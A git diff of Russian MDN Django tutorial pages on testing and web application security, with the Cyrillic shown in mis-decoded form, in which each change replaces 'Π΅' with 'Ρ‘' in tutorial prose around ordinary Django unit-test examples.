-<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ тСстовый ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅. Он провСряСт Ρ‡Ρ‚ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Π΄Π°Ρ‚Π° Ρ€Π°Π²Π½Π° Ρ‚Ρ€Π΅ΠΌ нСдСлям Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΠΈΠ· поля Ρ„ΠΎΡ€ΠΌΡ‹ (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ).</p>
+<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ тСстовый ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅. Он провСряСт Ρ‡Ρ‚ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Π΄Π°Ρ‚Π° Ρ€Π°Π²Π½Π° Ρ‚Ρ€Ρ‘ΠΌ нСдСлям Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ ΠΈΠ· поля Ρ„ΠΎΡ€ΠΌΡ‹ (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ).</p>
<pre class="brush: python">Β  Β  def test_form_renewal_date_initially_has_date_three_weeks_in_future(self):
Β  Β  Β  Β  login = self.client.login(username='testuser2', password='12345')
@@ -807,7 +807,7 @@ class RenewBookInstancesViewTest(TestCase):
Β  Β  Β  Β  self.assertEqual(<strong>resp.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future )
</pre>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСст (Ρ‚ΠΎΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π² свой класс) провСряСт Ρ‡Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π² случаС успСха, пСрСнаправляСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΊ списку всСх Π·Π°Π±Ρ€ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΊΠ½ΠΈΠ³. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² <code>POST</code>-запросС. Π”Π°Π½Π½Ρ‹ΠΉ запрос пСрСдаСтся Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π² пост-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈ прСдставляСт ΠΈΠ· сСбя ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСст (Ρ‚ΠΎΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π² свой класс) провСряСт Ρ‡Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π² случаС успСха, пСрСнаправляСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΊ списку всСх Π·Π°Π±Ρ€ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΊΠ½ΠΈΠ³. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² <code>POST</code>-запросС. Π”Π°Π½Π½Ρ‹ΠΉ запрос пСрСдаётся Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π² пост-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈ прСдставляСт ΠΈΠ· сСбя ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<pre class="brush: python">Β  Β  def test_redirects_to_all_borrowed_book_list_on_success(self):
Β  Β  Β  Β  login = self.client.login(username='testuser2', password='12345')
@@ -817,7 +817,7 @@ class RenewBookInstancesViewTest(TestCase):
</pre>
<div class="warning">
-<p>ВмСсто ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ <em>all-borrowed</em>, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π² качСствС <em>домашнСго задания</em>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° домашнюю страницу '/'. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, ΠΈΡΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π΄Π²Π΅ послСдниС строки тСстового ΠΊΠΎΠ΄Π° Π½Π° ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅. ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ <code>follow=True</code>, Π² запросС, Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‡Ρ‚ΠΎ запрос Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ URL-адрСс ΠΏΡƒΠ½ΠΊΡ‚Π° назначСния (ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ провСряСтся <code>/catalog/</code>, Π° Π½Π΅ <code>/</code>).</p>
+<p>ВмСсто ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ <em>all-borrowed</em>, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π² качСствС <em>домашнСго задания</em>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° домашнюю страницу '/'. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС, ΠΈΡΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π΄Π²Π΅ послСдниС строки тСстового ΠΊΠΎΠ΄Π° Π½Π° ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅. ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ <code>follow=True</code>, Π² запросС, Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‡Ρ‚ΠΎ запрос Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ URL-адрСс ΠΏΡƒΠ½ΠΊΡ‚Π° назначСния (ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ провСряСтся <code>/catalog/</code>, Π° Π½Π΅ <code>/</code>).</p>
<pre class="brush: python"> resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},<strong>follow=True</strong> )
<strong>self.assertRedirects(resp, '/catalog/')</strong></pre>
@@ -844,7 +844,7 @@ class RenewBookInstancesViewTest(TestCase):
<h3 id="Π¨Π°Π±Π»ΠΎΠ½Ρ‹">Π¨Π°Π±Π»ΠΎΠ½Ρ‹</h3>
-<p>Django прСдоставляСт API для тСстирования, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ провСряСт Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΈΠΌ пСрСдаСтся ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ информация. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π² Django имССтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сторонниС API для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ваш HTML ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π°Π΄ΠΎ.</p>
+<p>Django прСдоставляСт API для тСстирования, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ провСряСт Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΈΠΌ пСрСдаётся ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ информация. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π² Django имССтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сторонниС API для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ваш HTML ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π°Π΄ΠΎ.</p>
<h2 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Ρ‹Π΅_инструмСнты_для_тСстирования">Π”Ρ€ΡƒΠ³ΠΈΠ΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Ρ‹Π΅ инструмСнты для тСстирования</h2>
@@ -853,7 +853,7 @@ class RenewBookInstancesViewTest(TestCase):
<p>Из всСго мноТСства сторонних инструмСнтов тСстирования, ΠΌΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ опишСм возмоТности Π΄Π²ΡƒΡ…:</p>
<ul>
- <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: Π­Ρ‚ΠΎ инструмСнт Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠ΅ количСство ΠΊΠΎΠ΄Π° выполняСтся Π²ΠΎ врСмя провСдСния тСстов. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для уточнСния стСпСни "покрытия" ΠΊΠΎΠ΄Π° тСстами.</li>
+ <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: Π­Ρ‚ΠΎ инструмСнт Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Ρ‹ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠ΅ количСство ΠΊΠΎΠ΄Π° выполняСтся Π²ΠΎ врСмя провСдСния тСстов. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для уточнСния стСпСни "покрытия" ΠΊΠΎΠ΄Π° тСстами.</li>
<li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> это Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ провСдСния автоматичСского тСстирования Π² настоящСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Он позволяСт Π²Π°ΠΌ ΠΈΠΌΠΈΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ взаимодСйствиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с вашим сайтом (Ρ‡Ρ‚ΠΎ являСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом Π² ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… тСстов).</li>
</ul>
@@ -871,7 +871,7 @@ class RenewBookInstancesViewTest(TestCase):
<h2 id="Π˜Ρ‚ΠΎΠ³ΠΈ">Π˜Ρ‚ΠΎΠ³ΠΈ</h2>
-<p>НаписаниС тСстов Π½Π΅ являСтся Π½ΠΈ вСсСльСм, Π½ΠΈ Ρ€Π°Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ, соотвСтствСнно, ΠΏΡ€ΠΈ создании сайтов часто остаСтся напослСдок (ΠΈΠ»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ). Но Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ дСйствСнным ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ Π² находится бСзопасности, Π΄Π°ΠΆΠ΅ Ссли Π² Π½Π΅Π³ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ измСнСния. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, тСсты ΠΏΠΎΠ²Ρ‹ΡˆΠ°ΡŽΡ‚ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ вашСго ΠΊΠΎΠ΄Π°.</p>
+<p>НаписаниС тСстов Π½Π΅ являСтся Π½ΠΈ вСсСльСм, Π½ΠΈ Ρ€Π°Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ, соотвСтствСнно, ΠΏΡ€ΠΈ создании сайтов часто остаётся напослСдок (ΠΈΠ»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ). Но Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ дСйствСнным ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π²Π°ΠΌ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ Π² находится бСзопасности, Π΄Π°ΠΆΠ΅ Ссли Π² Π½Π΅Π³ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ измСнСния. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, тСсты ΠΏΠΎΠ²Ρ‹ΡˆΠ°ΡŽΡ‚ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ вашСго ΠΊΠΎΠ΄Π°.</p>
<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ руководствС ΠΌΡ‹ продСмонстрировали Π²Π°ΠΌ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ написания тСстов для Π²Π°ΡˆΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, Ρ„ΠΎΡ€ΠΌ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. ΠœΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ пСрСчислили Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ слоТно Π²Ρ‹ΡΠ²ΠΈΡ‚ΡŒ Π² самом Π½Π°Ρ‡Π°Π»Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ. БущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ аспСктов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ, Π½ΠΎ Π΄Π°ΠΆΠ΅ с Ρ‚Π΅ΠΌ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΡƒΠΆΠ΅ ΡƒΠ·Π½Π°Π»ΠΈ, Π²Ρ‹ ΠΈΠΌΠ΅Π΅Ρ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ эффСктивныС ΡŽΠ½ΠΈΡ‚-тСсты для Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ процСсса Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
diff --git a/files/ru/learn/server-side/django/web_application_security/index.html b/files/ru/learn/server-side/django/web_application_security/index.html
index 435982ac1f..9ceb8c74e2 100644
--- a/files/ru/learn/server-side/django/web_application_security/index.html
+++ b/files/ru/learn/server-side/django/web_application_security/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Django/web_application_security
<div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div>
-<p class="summary">Π—Π°Ρ‰ΠΈΡ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… - ваТная Ρ‡Π°ΡΡ‚ΡŒ проСктирования любого Π²Π΅Π±-сайта.Π Π°Π½Π΅Π΅ ΠΌΡ‹ рассматривали Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнныС ΡƒΠ³Ρ€ΠΎΠ·Ρ‹ бСзопасности Π² Ρ‚Π΅ΠΌΠ΅ <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Π’Π΅Π± Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ</a>. Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСна практичСская дСмонстрация Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ встроСнныС ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Django's ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ ΡƒΠ³Ρ€ΠΎΠ·Ρ‹.</p>
+<p class="summary">Π—Π°Ρ‰ΠΈΡ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… - ваТная Ρ‡Π°ΡΡ‚ΡŒ проСктирования любого Π²Π΅Π±-сайта.Π Π°Π½Π΅Π΅ ΠΌΡ‹ рассматривали Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённыС ΡƒΠ³Ρ€ΠΎΠ·Ρ‹ бСзопасности Π² Ρ‚Π΅ΠΌΠ΅ <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Π’Π΅Π± Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ</a>. Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСна практичСская дСмонстрация Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ встроСнныС ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Django's ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ ΡƒΠ³Ρ€ΠΎΠ·Ρ‹.</p>
<table class="learn-box standard-table">
<tbody>
@@ -24,7 +24,7 @@ translation_of: Learn/Server-side/Django/web_application_security
<h2 id="ΠžΠ±Π·ΠΎΡ€">ΠžΠ±Π·ΠΎΡ€</h2>
-<p>Π’Π΅ΠΌΠ°Β <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Π’Π΅Π± Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ</a> рассматриваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ бСзопасности Π²Π΅Π±-прилоТСния для проСктирования сСрвСрного прилоТСния ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ΡƒΠ³Ρ€ΠΎΠ·, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π·Π°Ρ‰ΠΈΡ‚Π°. Одна ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΈΠ΄Π΅ΠΉ этой Ρ‚Π΅ΠΌΡ‹ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ практичСски всС Π°Ρ‚Π°ΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹, Ссли Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ довСряСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°).</p>
+<p>Π’Π΅ΠΌΠ°Β <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Π’Π΅Π± Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ</a> рассматриваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ бСзопасности Π²Π΅Π±-прилоТСния для проСктирования сСрвСрного прилоТСния ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ΡƒΠ³Ρ€ΠΎΠ·, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π·Π°Ρ‰ΠΈΡ‚Π°. Одна 